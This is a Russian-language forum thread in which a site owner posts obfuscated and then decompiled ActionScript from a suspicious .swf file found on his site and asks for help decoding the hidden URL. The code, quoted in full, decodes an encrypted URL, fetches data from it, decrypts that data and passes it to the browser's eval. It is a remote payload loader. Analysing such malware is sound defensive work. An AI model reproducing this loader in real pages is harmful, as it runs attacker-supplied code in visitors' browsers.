Помогите расшифровать код в .swf файле

Статус
В этой теме нельзя размещать новые ответы.

matrix-ukr

Создатель
Регистрация
25 Фев 2008
Сообщения
19
Реакции
2
Помогите расшифровать код в .swf файле.
Надо вытащить урл.
Код:
1  //Кадр 0
2  //  Тег действия #0
3 
4  for (;;)
5  {
6      if (511629458 == 511629762)
7      {
8          false;
9          1238734783 & -1238734784;
10          function decrypt(hex)
11          {
12              var __reg5;
13              var __local0;
14              if (205673138 ^ 205673138)
15              {
16                  __local0 = __reg5 = "A";
17              }
18              else
19              {
20                  __reg5 = "A";
21                  var __reg1;
22                  __local0 = __reg1 = 0;
23              }
24              __local0;
25              for (;;)
26              {
27                  408838581 ^ 408838581;
28                  2136550932 & -2136550933;
29                  if (__reg1 >= hex.B)
30                  {
31                      break;
32                  }
33                  if (1890669217 ^ 1890669217)
34                  {
35                      "C";
36                  }
37                  else
38                  {
39                      var __reg3;
40                      if (!(1502222836 ^ 1502222836))
41                      {
42                          __reg3 = hex.C(__reg1, 2);
43                      }
44                  }
45                  1234629013 ^ 1234629013;
46                  127070979 & -127070980;
47                  var __reg2 = int("D" + __reg3);
48                  1130412752 ^ 1130412752;
49                  __reg2 = __reg2 ^ 146;
50                  1618839222 & -1618839223;
51                  if (!(1876906722 ^ 1876906722))
52                  {
53                      __reg5 = __reg5 + chr(__reg2);
54                  }
55                  var __local1;
56                  var __local2;
57                  if (1459356484 ^ 1459356484)
58                  {
59                      __local1 = __reg1;
60                      __local2 = 2;
61                  }
62                  else
63                  {
64                      __reg1 = __reg1 + 2;
65                      __local1 = 1035411512;
66                      __local2 = -1035411513;
67                  }
68                  __local1 & __local2;
69              }
70              return __reg5;
71          }
72          function decrypt2(x)
73          {
74              var __reg3;
75              if (!(1305523191 ^ 1305523191))
76              {
77                  __reg3 = "E";
78                  var __reg5;
79              }
80              358163740 & -358163741;
81              __reg5 = "A";
82              var __reg1 = 0;
83              for (;;)
84              {
85                  668399191 & -668399192;
86                  if (__reg1 >= x.B)
87                  {
88                      break;
89                  }
90                  728960938 & -728960939;
91                  var __reg2;
92                  if (!(659520091 ^ 659520091))
93                  {
94                      __reg2 = x[__reg1];
95                  }
96                  var __local3;
97                  var __local4;
98                  if (1304094488 ^ 1304094488)
99                  {
100                    __local3 = __reg1;
101                    __local4 = __reg3.B;
102                }
103                else
104                {
105                    __local3 = ord(__reg3.F(__reg1 % __reg3.B));
106                    __local4 = 1600397074;
107                }
108                if (!(__local4 ^ __local4))
109                {
110                    __reg2 = __reg2 - __local3;
111                }
112                381488006 ^ 381488006;
113                var __local5;
114                var __local6;
115                if (1588179671 ^ 1588179671)
116                {
117                    __local5 = __reg5;
118                    __local6 = chr(__reg2);
119                }
120                else
121                {
122                    __reg5 = __reg5 + chr(__reg2);
123                    __local5 = 1791047020;
124                    __local6 = -1791047021;
125                }
126                __local5 & __local6;
127                var __local7 = 1234090841 ^ 1234090841 ? (__reg1 + 1) : (++__reg1, 353477196);
128                if (__local7 ^ __local7)
129                {
130                    return;
131                }
132            }
133            return __reg5;
134        }
135        function checkFileLoaded()
136        {
137            1023518590 ^ 1023518590;
138            1053853491 & -1053853492;
139            657257249 & -657257250;
140            if (G.H != undefined)
141            {
142                503511606 ^ 503511606;
143                if (!(694364267 ^ 694364267))
144                {
145                    var __reg1 = G.H;
146                }
147                2090915988 & -2090915989;
148                1959531698 & -1959531699;
149                __reg1 = I(__reg1);
150                816324877 & -816324878;
151                K.L.M("J", __reg1);
152                1440055877 & -1440055878;
153                if (163421523 ^ 163421523)
154                {
155                    return;
156                }
157                ();
158            }
159        }
160        if (!(413982461 ^ 413982461))
161        {
162            var  = [202, 169, 164, 164, 158, 147, 100, 154, 178, 152, 159, 209, 222, 212, 148, 209, 212, 98, 219, 197, 147, 159, 157, 166, 143, 210, 149, 167, 171, 165, 201, 170, 95, 213, 173, 154, 171, 145, 155, 104, 108, 153, 148, 109, 107, 110, 106, 107, 151, 148, 150, 150, 196, 154, 105, 158, 156, 153, 156, 103, 100, 197, 147, 149, 108, 157, 105, 157, 158, 152, 161, 177, 118, 104, 150, 107];
163        }
164        2138120251 ^ 2138120251;
165        545771429 & -545771430;
166        if (!(1847114876 ^ 1847114876))
167        {
168            ("G", ());
169        }
170        1215427511 & -1215427512;
171        var  = (, 200);
172        1317206141 & -1317206142;
173        2145970620 & -2145970621;
174        loadVariables((), G);
175        1329807057 ^ 1329807057;
176        if (19847025 != 19847107)
177        {
178            continue;
179        }
180    }
181 }
182
183
184
видно из кода что он зашифрован
Прогой ffdec декомпилирую с деобфускатором
Код:
1 function decrypt(hex)
2 {
3 var _loc5_ = "";
4 var _loc1_ = 0;
5 while(_loc1_ < hex.length)
6 {
7 var _loc3_ = hex.substr(_loc1_,2);
8 var _loc2_ = int("0x" + _loc3_);
9 _loc2_ = _loc2_ ^ 146;
10 _loc5_ = _loc5_ + chr(_loc2_);
11 _loc1_ = _loc1_ + 2;
12 }
13 return _loc5_;
14 }
15 function decrypt2(x)
16 {
17 var _loc3_ = "b504dd59834bdefad4fdd742bb4577d82b997";
18 var _loc5_ = "";
19 var _loc1_ = 0;
20 while(_loc1_ < x.length)
21 {
22 var _loc2_ = x[_loc1_];
23 _loc2_ = _loc2_ - ord(_loc3_.charAt(_loc1_ % _loc3_.length));
24 _loc5_ = _loc5_ + chr(_loc2_);
25 _loc1_ = _loc1_ + 1;
26 }
27 return _loc5_;
28 }
29 function checkFileLoaded()
30 {
31 if(container.data != undefined)
32 {
33 var _loc1_ = container.data;
34 _loc1_ = decrypt(_loc1_);
35 flash.external.ExternalInterface.call("eval",_loc1_);
36 clearInterval(loadingInterval);
37 }
38 }
39 var url = [202,169,164,164,158,147,100,154,178,152,159,209,222,212,148,209,212,98,219,197,147,159,157,166,143,210,149,167,171,165,201,170,95,213,173,154,171,145,155,104,108,153,148,109,107,110,106,107,151,148,150,150,196,154,105,158,156,153,156,103,100,197,147,149,108,157,105,157,158,152,161,177,118,104,150,107];
40 this.createEmptyMovieClip("container",this.getNextHighestDepth());
41 var loadingInterval = setInterval(checkFileLoaded,200);
42 loadVariables(decrypt2(url),container);
43
44
видно что есть урл,
Код:
1 var url = [202,169,164,164,158,147,100,154,178,152,159,209,222,212,148,209,212,98,219,197,147,159,157,166,143,210,149,167,171,165,201,170,95,213,173,154,171,145,155,104,108,153,148,109,107,110,106,107,151,148,150,150,196,154,105,158,156,153,156,103,100,197,147,149,108,157,105,157,158,152,161,177,118,104,150,107]
2
но он опять зашифрован скриптом
мож кто силен в этом, расшифрует?
p.s. Этот файл обнаружил у себя на сайте, интересно что и куда он шлет.
 
Так попробуй выполнить функцию
Код:
function decrypt2(x)
16 {
17 var _loc3_ = "b504dd59834bdefad4fdd742bb4577d82b997";
18 var _loc5_ = "";
19 var _loc1_ = 0;
20 while(_loc1_ < x.length)
21 {
22 var _loc2_ = x[_loc1_];
23 _loc2_ = _loc2_ - ord(_loc3_.charAt(_loc1_ % _loc3_.length));
24 _loc5_ = _loc5_ + chr(_loc2_);
25 _loc1_ = _loc1_ + 1;
26 }
27 return _loc5_;
28 }
передав в неё
Код:
1 var url = [202,169,164,164,158,147,100,154,178,152,159,209,222,212,148,209,212,98,219,197,147,159,157,166,143,210,149,167,171,165,201,170,95,213,173,154,171,145,155,104,108,153,148,109,107,110,106,107,151,148,150,150,196,154,105,158,156,153,156,103,100,197,147,149,108,157,105,157,158,152,161,177,118,104,150,107]
 
esche, еще бы знать как.:nezn:

просто я в програмировании нуб полный
вот и пытаюся разобраться.
пошел я устанавливать тогда AdobeFlashPro и ковырять его.:nezn:
 
Скрытое содержимое доступно для зарегистрированных пользователей!
 
спс , esche , +:ay:
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху